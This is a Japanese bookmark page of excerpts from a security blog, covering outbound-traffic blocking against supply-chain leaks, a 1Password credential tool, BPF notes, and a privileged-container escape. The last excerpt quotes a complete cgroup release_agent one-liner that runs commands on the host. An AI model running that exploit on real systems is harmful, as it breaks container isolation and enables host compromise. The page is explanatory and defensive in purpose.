タグ

ブックマーク / blog.ssrf.in (4)

  • コンテナやコマンドなどのリソース単位で外部への意図しない通信をブロックする

    特定の外部ネットワークへの通信の制限にはファイアウォールなどを利用することが多いですが、コンテナや実行されたコマンド名などをもとに、通信を制御したいという需要が自分の中でありました。 具体的には GitHub Self-hosted runner のような CI / CD 環境で、依存パッケージに悪意あるコードが入り込んでしまうようなサプライチェーン攻撃などを検知・防御し、意図せずにクレデンシャルなどの秘匿すべき情報が外部に漏洩するのを防ぎたいと思っていました。 このようなサプライチェーン攻撃への対策は様々ですが、実行時に悪意のある動作を検出するものとして、GitLab が Falco をベースとした Package Hunter などがあります。このツールは依存パッケージなどをインストールする際に実行されるシステムコールなどを監視するものです。 検知するだけであれば Package Hu

    コンテナやコマンドなどのリソース単位で外部への意図しない通信をブロックする
    clavier
    clavier 2021/09/27
  • 1Password に保存しているクレデンシャルを環境変数として利用するためのツールを作った

    私はパスワードやトークンなどを 1Password に保存しています。これらを環境変数として利用したい場合、クリップボードにコピーして set か export して環境変数にセットするか、頻繁に利用するものであれば envchain を利用していました。 envchain はとても便利なのですが、私は MacLinux、それから Windows もたまに使っているため、 keychain や Gnome Keyring でそれぞれ保存するのが手間に思っていました。どうせ 1Password に保存しているので、そこから取得してしまえば良いと思い、 openv というツールを作りました。 GitHub - mrtc0/openv: A tool that uses the credentials stored in 1password as an environment variab

    1Password に保存しているクレデンシャルを環境変数として利用するためのツールを作った
    clavier
    clavier 2021/01/04
  • BPF(bcc)のメモ

    bpf や bcc 周りは使わないと忘れてしまうのでメモ。 Hello, World clang で bpf オブジェクトを作って C でそれを読み込む…という方法よりも https://github.com/iovisor/bcc/ を使う方が楽なので、bcc でやります。 C でやると環境作るところから大変なので… ref : https://blog.raymond.burkholder.net/index.php?/archives/1000-eBPF-Basics.html execve システムコールが呼ばれたときに Hello, World! と表示するプログラムを作ります。 from bcc import BPF bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <

    BPF(bcc)のメモ
  • cgroup の release_agent を使った特権コンテナからのエスケープ

    元ネタ : https://twitter.com/_fel1x/status/1151487051986087936 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o — Felix Wilhelm (@_fel1x) July 17, 2019 特権( CAP_SYS_ADMIN )コンテナで cgr

  • 1